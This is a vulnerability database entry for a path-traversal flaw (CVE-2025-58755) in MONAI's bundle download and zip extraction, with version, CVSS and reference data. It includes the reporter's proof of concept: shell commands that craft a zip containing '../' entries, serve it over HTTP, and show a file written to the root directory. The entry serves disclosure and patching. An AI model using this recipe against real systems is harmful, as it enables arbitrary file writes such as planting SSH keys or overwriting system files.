MONAI does not prevent path traversal, potentially leading to arbitrary file writes
Summary
The extractall function zip_file.extractall(output_dir) is used directly to process compressed files. It is used in many places in the project. When the Zip file containing malicious content is decompressed, it will overwrite the system files. In addition, the project allows the download of the zip content through the link, which increases the scope of exploitation of this vulnerability.
When reproducing locally, follow the process below to create a malicious zip file and simulate the process of remotely downloading the zip file.
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# mkdir -p test_bundle
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# echo "malicious content" > test_bundle/malicious.txt
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# cd test_bundle
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# zip -r ../malicious.zip . ../../../../../../etc/passwd
adding: malicious.txt (stored 0%)
adding: ../../../../../../etc/passwd (deflated 64%)
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# cd ..
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls
malicious.zip p1.py p2.py r1.py test_bundleThen start the http service through python
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...Another terminal simulates a normal user downloading zip content from the Internet, perhaps from some popular forums or blogs, such as huggingface, etc.
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -c "from monai.bundle.scripts import download; download(name='test_bundle', url='http://localhost:8000/malicious.zip', bundle_dir='/tmp/test_extract')"
2025-08-11 20:49:01,668 - INFO - --- input summary of monai.bundle.scripts.download ---
2025-08-11 20:49:01,668 - INFO - > name: 'test_bundle'
2025-08-11 20:49:01,668 - INFO - > bundle_dir: '/tmp/test_extract'
2025-08-11 20:49:01,668 - INFO - > source: 'monaihosting'
2025-08-11 20:49:01,668 - INFO - > url: 'http://localhost:8000/malicious.zip'
2025-08-11 20:49:01,668 - INFO - > remove_prefix: 'monai_'
2025-08-11 20:49:01,668 - INFO - > progress: True
2025-08-11 20:49:01,668 - INFO - ---
test_bundle.zip: 8.00kB [00:00, 204kB/s]
2025-08-11 20:49:01,710 - INFO - Downloaded: /tmp/test_extract/test_bundle.zip
2025-08-11 20:49:01,710 - INFO - Expected md5 is None, skip md5 check for file /tmp/test_extract/test_bundle.zip.
2025-08-11 20:49:01,710 - INFO - Writing into directory: /tmp/test_extract.
2025-08-11 20:49:01,711 - WARNING - metadata file not found in /tmp/test_extract/test_bundle/configs/metadata.json.
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /
autodl-pub cuda-keyring_1.0-1_all.deb home lib32 **malicious.txt** opt run sys var
bin dev init lib64 media proc sbin tmp
boot etc lib libx32 mnt root srv usrWe can see that malicious.txt was indeed extracted to the root directory, demonstrating that the path traversal successfully wrote the malicious file. If the Zip file contains SSH keys, malicious content that automatically loads when the user boots the computer, or overwrites legitimate user files, causing services to become inoperable, these actions could cause extremely serious damage.
Impact
Arbitrary file write
Repair Suggestions
Check the contents of the downloaded Zip file, or use a safer method to load it
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | monai | < 1.5.1 | 1.5.1 |
Verweise
- https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-x6ww-pf9m-m73m
- https://nvd.nist.gov/vuln/detail/CVE-2025-58755
- https://github.com/Project-MONAI/MONAI/pull/8568
- https://github.com/Project-MONAI/MONAI/commit/946cfdff096d8b1d289063f06a04cae3fa3559d9
- https://github.com/Project-MONAI/MONAI
- https://github.com/pypa/advisory-database/tree/main/vulns/monai/PYSEC-2025-140.yaml
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H- Schwäche (CWE)
CWE-22- Plattform
- Python (PyPI)
- Paket
monai- Veröffentlicht
- 09.09.2025
- Aktualisiert
- 11.10.2026 12:19
Quellen und Lizenzen
OSV / GitHub Advisory Database - PYSEC-2025-140 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-x6ww-pf9m-m73m - CC BY 4.0
Schwachstellenhistorie: monai
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 11
- Erste → letzte
- 09.2025 09.2026
- Ohne Fix
- 1
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Hoch 8
- Mittel 1
- Nicht bewertet 2
Veröffentlichungen pro Jahr
- 2025: 3
- 2026: 8
-
MONAI does not prevent path traversal, potentially leading to arbitrary file writes dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.